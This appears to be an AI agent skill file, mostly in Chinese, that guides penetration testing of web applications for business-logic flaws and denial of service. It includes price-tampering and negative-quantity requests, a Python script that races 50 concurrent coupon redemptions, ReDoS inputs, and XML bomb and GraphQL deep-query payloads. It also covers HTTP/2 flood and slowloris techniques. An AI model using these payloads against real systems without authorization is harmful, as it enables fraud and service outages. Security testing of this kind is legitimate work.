Business Logic & DoS Penetration Testing Patterns
当对 Web 应用进行业务逻辑和拒绝服务渗透测试时加载此 Skill。覆盖逻辑缺陷、竞态条件、资源耗尽等。
Attack Surface Discovery
业务逻辑高风险区域：
- 支付/交易流程：价格篡改、折扣叠加、负数数量
- 优惠券/积分系统：重复使用、跨账户转移
- 注册/邀请流程：绕过限制条件、跳过验证步骤
- 权限工作流：审批流程绕过、多步操作中跳步
- 文件上传/导出：绕过类型检查、大小限制
DoS 攻击面：
- 正则表达式处理：ReDoS（正则回溯导致 CPU 耗尽）
- HTTP/2 实现：CONTINUATION flood、stream reset
- 大 payload 处理：Markdown 渲染、JSON/XML 解析
- 定时任务：wp-cron.php、scheduled jobs
- 数据库查询：构造导致全表扫描的查询
竞态条件目标：
- 余额扣减/积分消耗操作
- 优惠券/兑换码使用
- 文件上传后的处理流程
- 限次操作（投票、点赞、领取）
Exploitation Techniques
业务逻辑绕过：
# 价格篡改
POST /api/checkout {"item_id": 123, "price": 0.01} # 修改前端传递的价格
# 负数量
POST /api/cart {"item_id": 123, "quantity": -1} # 负数量可能导致退款
# 工作流跳步
# Step 1: 填写信息 → Step 2: 验证 → Step 3: 确认
# 直接请求 Step 3 的 API，跳过 Step 2 验证
# 参数污染
POST /api/apply-coupon {"coupon": "SAVE50", "coupon": "SAVE50"} # 双重应用
竞态条件利用：
import asyncio, aiohttp
async def redeem(session, url, coupon):
return await session.post(url, json={"coupon": coupon})
async def race():
async with aiohttp.ClientSession() as session:
tasks = [redeem(session, url, "COUPON123") for _ in range(50)]
results = await asyncio.gather(*tasks)
success = sum(1 for r in results if r.status == 200)
print(f"Redeemed {success} times")
- 使用 Turbo Intruder（Burp 扩展）发送并发请求
- 关注：余额扣减、限次操作、唯一性约束
ReDoS（正则表达式拒绝服务）：
# 典型易受攻击的正则
(a+)+b → 输入: "aaaaaaaaaaaaaaaaaa!"
(a|a)+b → 指数级回溯
([a-zA-Z]+)*@ → 邮箱验证
# 测试方法：发送使正则回溯的长输入
aaaaaaaaaaaaaaaaaaaaaaaaaaaa!
HTTP/2 DoS：
- CONTINUATION flood：发送大量 CONTINUATION 帧耗尽内存
- Stream reset flood：快速创建并重置 stream
- HPACK bomb：构造压缩后很小但解压后极大的头部
应用层 DoS：
- 大 Markdown payload：嵌套列表/引用导致渲染超时
- XML bomb（Billion Laughs）：指数级实体展开
- GraphQL 深度查询：
{ user { friends { friends { friends { ... } } } } }
- 慢速攻击：Slowloris、R-U-Dead-Yet
Detection Checklist
Impact Assessment
漏洞利用可达到的效果：
- 财务损失：价格篡改、重复兑换、余额操纵
- 服务中断：DoS 导致应用不可用
- 业务规则绕过：跳过审批、绕过限制、获取未授权功能
- 数据完整性破坏：竞态条件导致数据不一致
严重度判断：
- Critical：直接财务损失、服务完全中断且难以恢复
- High：可重复利用的业务逻辑缺陷、持续性 DoS
- Medium：需特定条件的 DoS、低影响的逻辑绕过
